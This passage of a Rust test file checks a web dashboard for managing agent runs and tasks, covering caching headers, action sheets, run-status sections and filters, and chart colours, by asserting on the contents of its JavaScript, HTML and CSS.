16943 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16944 .await;
16945 assert_eq!(weak.status, 304);
16946 let stale = fx
16947 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16948 .await;
16949 assert_eq!(stale.status, 200, "an older build must be replaced");
16950 assert!(stale.body.contains("renderRunActions"));
16951 }
16952
16953 #[test]
16954 fn the_task_detail_has_an_actions_fab_and_sheet() {
16955 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16956 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16957 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16958 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16960 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16961 assert!(APP_JS.contains("renderTaskActions(task);"));
16963 assert!(APP_JS.contains("renderTaskActions(null);"));
16964 let sheet = APP_JS
16966 .find("function renderTaskActions")
16967 .expect("sheet renderer");
16968 let body = &APP_JS[sheet..sheet + 3000];
16969 assert!(body.contains("changePriority("));
16970 assert!(body.contains("openTaskEdit(task)"));
16971 assert!(body.contains("renderTaskHoldBox(host"));
16972 assert!(body.contains("renderTaskDoneBox(host"));
16973 assert!(body.contains("renderTaskDeleteBox(host"));
16974 assert!(APP_JS.contains("API.priority(id)"));
16975 assert!(APP_JS.contains("API.deleteTask(id)"));
16976 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16978 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16980 }
16981
16982 #[test]
16983 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16984 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16985 let actions = INDEX_HTML
16986 .find("id=\"run-actions-box\"")
16987 .expect("actions box");
16988 assert!(task < actions, "the task entry comes first in the sheet");
16989 assert!(APP_JS.contains("renderRunTaskEntry"));
16990 assert!(APP_JS.contains("\"Open task \""));
16991 assert!(APP_JS.contains("started directly, no task"));
16993 assert!(APP_JS.contains("sheet-task-link"));
16994 assert!(APP_JS.contains("task-chip-link"));
16995 }
16996
16997 #[test]
16998 fn the_deck_never_sends_the_operator_to_a_terminal() {
16999 assert!(
17002 !APP_JS.contains("Run `magi fold` first"),
17003 "the deck must offer the fold, not prescribe a shell command"
17004 );
17005 assert!(APP_JS.contains("foldRun:"));
17006 assert!(APP_JS.contains("resumeRun:"));
17007 assert!(APP_JS.contains("renderRunActions"));
17008
17009 assert!(APP_JS.contains("armedFold"));
17011 assert!(APP_JS.contains("Yes, fold worktrees"));
17012
17013 assert!(APP_JS.contains("can no longer be resumed"));
17016 }
17017
17018 #[test]
17019 fn a_finished_run_explains_itself_with_its_own_last_line() {
17020 assert!(
17026 !APP_JS.contains("collapsed on agent quota"),
17027 "a stall must not be explained by a cause the deck did not check"
17028 );
17029 assert!(
17030 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
17031 "and a block must not offer a guess with an `or` in it"
17032 );
17033
17034 assert!(
17038 APP_JS.contains("setText(r.event, run.event || \"\")"),
17039 "the run's last line is rendered unconditionally"
17040 );
17041 assert!(
17042 !APP_JS.contains("moving && run.event"),
17043 "and never gated on the run still moving"
17044 );
17045
17046 assert!(APP_JS.contains("lost to quota"));
17048 }
17049
17050 #[test]
17072 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
17073 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
17074 let shapes_body_start =
17075 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
17076 let shapes_close = APP_JS[shapes_body_start..]
17077 .find("].map(")
17078 .expect("the shape list is closed by its done-computing .map(...)")
17079 + shapes_body_start;
17080 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
17081
17082 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
17083 for entry in shapes_src.split('{').skip(1) {
17084 let waiting = entry.contains("waiting: true");
17085 let dead = entry.contains("live: \"dead\"");
17086 let status_at =
17087 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
17088 let status_end = entry[status_at..]
17089 .find('"')
17090 .expect("the status string is closed")
17091 + status_at;
17092 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
17093 }
17094 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
17095
17096 let done_rule_marker = "done: !";
17100 let done_rule_at = APP_JS[shapes_close..]
17101 .find(done_rule_marker)
17102 .expect("the done rule follows the shape list")
17103 + shapes_close
17104 + done_rule_marker.len();
17105 let includes_at = APP_JS[done_rule_at..]
17106 .find(".includes(shape.status)")
17107 .expect("the done rule ends in .includes(shape.status)")
17108 + done_rule_at;
17109 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
17110 .trim()
17111 .trim_start_matches('[')
17112 .trim_end_matches(']')
17113 .split(',')
17114 .map(|s| s.trim().trim_matches('"'))
17115 .filter(|s| !s.is_empty())
17116 .collect();
17117
17118 let shapes: Vec<(bool, String, bool, bool)> = shapes
17119 .into_iter()
17120 .map(|(waiting, status, dead)| {
17121 let done = !not_done.contains(&status.as_str());
17122 (waiting, status, dead, done)
17123 })
17124 .collect();
17125
17126 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
17130 if waiting {
17131 return "waiting";
17132 }
17133 if dead
17134 && !matches!(
17135 status,
17136 "merged"
17137 | "ready"
17138 | "stalled"
17139 | "blocked"
17140 | "failed"
17141 | "verified_noop"
17142 | "superseded"
17143 | "already_in_base"
17144 )
17145 {
17146 return "stale";
17147 }
17148 match status {
17149 "merged" | "ready" => "landed",
17150 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
17151 | "already_in_base" => "ended",
17152 _ => "flight",
17153 }
17154 }
17155
17156 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
17159 match filter_key {
17160 "active" => !done,
17161 "flight" => !done && !waiting && !dead,
17162 "stale" => !done && !waiting && dead,
17163 "waiting" => waiting,
17164 "done" => done,
17165 "all" => true,
17166 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
17167 }
17168 }
17169
17170 let compatible = |section: &str, filter_key: &str| {
17171 shapes.iter().any(|(waiting, status, dead, done)| {
17172 run_section(*waiting, status, *dead) == section
17173 && filter_matches(filter_key, *waiting, *dead, *done)
17174 })
17175 };
17176
17177 let expected = [
17182 ("waiting", [true, false, false, true, true, true]),
17183 ("stale", [true, false, true, false, false, true]),
17184 ("flight", [true, true, false, false, false, true]),
17185 ("landed", [false, false, false, false, true, true]),
17186 ("ended", [false, false, false, false, true, true]),
17187 ];
17188 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
17189
17190 for (section, wants) in expected {
17191 for (filter_key, want) in filter_keys.iter().zip(wants) {
17192 assert_eq!(
17193 compatible(section, filter_key),
17194 want,
17195 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
17196 );
17197 }
17198 }
17199
17200 assert!(
17203 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
17204 );
17205 assert!(APP_JS.contains(
17206 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
17207 ));
17208 assert!(APP_JS.contains(
17209 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
17210 ));
17211 }
17212
17213 #[tokio::test]
17214 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
17215 let dir = tempfile::tempdir().expect("tempdir");
17219 let explicit = dir.path().join("not-a-checkout");
17220 std::fs::create_dir_all(&explicit).expect("create dir");
17221 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
17222
17223 let missing = dir.path().join("does-not-exist-at-all");
17224 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
17225 }
17226
17227 #[test]
17228 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
17229 assert!(APP_JS.contains("function statsDonutArcs"));
17230 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
17231 assert!(APP_JS.contains("function statusInBucket"));
17233 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
17234 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
17235 let buckets = [
17236 "merged",
17237 "ready",
17238 "in_progress",
17239 "blocked",
17240 "failed",
17241 "verified_noop",
17242 "superseded",
17243 "stalled",
17244 ];
17245 for key in buckets {
17246 let var = format!("--verdict-{key}:");
17247 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
17249 assert!(
17250 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
17251 "{key}"
17252 );
17253 }
17254 }
17255}